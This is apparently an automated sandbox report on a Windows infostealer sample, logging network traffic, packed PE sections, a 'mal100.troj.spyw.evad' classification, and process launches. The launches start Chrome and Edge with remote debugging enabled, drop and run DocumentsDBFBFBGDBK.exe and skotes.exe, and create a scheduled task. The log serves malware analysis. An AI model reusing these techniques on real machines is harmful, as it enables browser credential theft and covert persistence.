Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52461
Source: unknown	Network traffic detected: HTTP traffic on port 64162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52462
Source: unknown	Network traffic detected: HTTP traffic on port 52385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64207
Source: unknown	Network traffic detected: HTTP traffic on port 64190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52471
Source: unknown	Network traffic detected: HTTP traffic on port 64244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52472
Source: unknown	Network traffic detected: HTTP traffic on port 52533 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:52384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.22:443 -> 192.168.2.7:52445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.22:443 -> 192.168.2.7:52456 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.3.187.198:443 -> 192.168.2.7:64156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:64167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:64185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:64194 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name:
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsDBFBFBGDBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CDFECC0	1_2_6CDFECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE5ECD0	1_2_6CE5ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE0AC60	1_2_6CE0AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDAC30	1_2_6CEDAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC6C00	1_2_6CEC6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF8CDC0	1_2_6CF8CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE04DB0	1_2_6CE04DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE96D90	1_2_6CE96D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECED70	1_2_6CECED70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF2AD50	1_2_6CF2AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF88D20	1_2_6CF88D20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE0AEC0	1_2_6CE0AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA0EC0	1_2_6CEA0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE86E90	1_2_6CE86E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9EE70	1_2_6CE9EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE0E20	1_2_6CEE0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE00FE0	1_2_6CE00FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDEFF0	1_2_6CEDEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF48FB0	1_2_6CF48FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE0EFB0	1_2_6CE0EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC2F70	1_2_6CEC2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6EF40	1_2_6CE6EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF40F20	1_2_6CF40F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE06F10	1_2_6CE06F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF068E0	1_2_6CF068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED4840	1_2_6CED4840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE50820	1_2_6CE50820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8A820	1_2_6CE8A820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF1C9E0	1_2_6CF1C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE349F0	1_2_6CE349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE909A0	1_2_6CE909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEBA9A0	1_2_6CEBA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC09B0	1_2_6CEC09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE38960	1_2_6CE38960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE56900	1_2_6CE56900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE7EA80	1_2_6CE7EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE7CA70	1_2_6CE7CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB8A30	1_2_6CEB8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAEA00	1_2_6CEAEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF06BE0	1_2_6CF06BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA0BA0	1_2_6CEA0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE08BAC	1_2_6CE08BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE464D0	1_2_6CE464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9A4D0	1_2_6CE9A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF2A480	1_2_6CF2A480
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE18460	1_2_6CE18460
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE64420	1_2_6CE64420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8A430	1_2_6CE8A430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECA5E0	1_2_6CECA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8E5F0	1_2_6CE8E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CDF45B0	1_2_6CDF45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE62560	1_2_6CE62560
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA0570	1_2_6CEA0570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF48550	1_2_6CF48550
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE58540	1_2_6CE58540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF04540	1_2_6CF04540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE5E6E0	1_2_6CE5E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9E6E0	1_2_6CE9E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE246D0	1_2_6CE246D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE5C650	1_2_6CE5C650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE2A7D0	1_2_6CE2A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE80700	1_2_6CE80700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CDF8090	1_2_6CDF8090
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE100B0	1_2_6CE100B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDC0B0	1_2_6CEDC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE4E070	1_2_6CE4E070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECC000	1_2_6CECC000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC8010	1_2_6CEC8010
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE001E0	1_2_6CE001E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE68140	1_2_6CE68140
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE76130	1_2_6CE76130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE4130	1_2_6CEE4130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF862C0	1_2_6CF862C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED22A0	1_2_6CED22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECE2B0	1_2_6CECE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE88260	1_2_6CE88260
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE98250	1_2_6CE98250
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED8220	1_2_6CED8220
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECA210	1_2_6CECA210
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE543E0	1_2_6CE543E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE323A0	1_2_6CE323A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE5E3B0	1_2_6CE5E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF42370	1_2_6CF42370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE02370	1_2_6CE02370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF1C360	1_2_6CF1C360
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE96370	1_2_6CE96370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE08340	1_2_6CE08340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE72320	1_2_6CE72320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC1CE0	1_2_6CEC1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF3DCD0	1_2_6CF3DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9FC80	1_2_6CE9FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE03C40	1_2_6CE03C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF29C40	1_2_6CF29C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE11C30	1_2_6CE11C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED1DC0	1_2_6CED1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CDF3D80	1_2_6CDF3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF49D90	1_2_6CF49D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE63D00	1_2_6CE63D00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE23EC0	1_2_6CE23EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF5BE70	1_2_6CF5BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF85E60	1_2_6CF85E60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF0DE10	1_2_6CF0DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEABFF0	1_2_6CEABFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF1DFC0	1_2_6CF1DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF83FC0	1_2_6CF83FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE21F90	1_2_6CE21F90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE35F20	1_2_6CE35F20
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A2E530	27_2_00A2E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A678BB	27_2_00A678BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A68860	27_2_00A68860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A67049	27_2_00A67049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A631A8	27_2_00A631A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A24DE0	27_2_00A24DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A62D10	27_2_00A62D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A6779B	27_2_00A6779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A24B30	27_2_00A24B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A57F36	27_2_00A57F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE29B10 appears 73 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF809D0 appears 133 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF39F30 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE23620 appears 73 times

Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.1796667081.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: twoluoqx ZLIB complexity 0.9949851718089922
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: Section: ZLIB complexity 0.99805751873297
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: Section: ctjnidaj ZLIB complexity 0.9941301680547293
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.99805751873297
Source: random[1].exe.1.dr	Static PE information: Section: ctjnidaj ZLIB complexity 0.9941301680547293
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.99805751873297
Source: skotes.exe.22.dr	Static PE information: Section: ctjnidaj ZLIB complexity 0.9941301680547293

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/300@31/27

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE60300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

1_2_6CE60300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\SJ8JMN6F.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8888:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\e875ff6a-b9a2-4fd4-a7c3-58b31e772412.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000003.1582397190.000000001D1BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1497066058.000000001D1C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000001.00000002.1795828918.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsDBFBFBGDBK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2256,i,2409446916878352376,5119275927657611550,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2076,i,9206009865590399757,3186735307075706483,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7000 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBFBFBGDBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBFBFBGDBK.exe "C:\Users\user\DocumentsDBFBFBGDBK.exe"
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBFBFBGDBK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2256,i,2409446916878352376,5119275927657611550,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
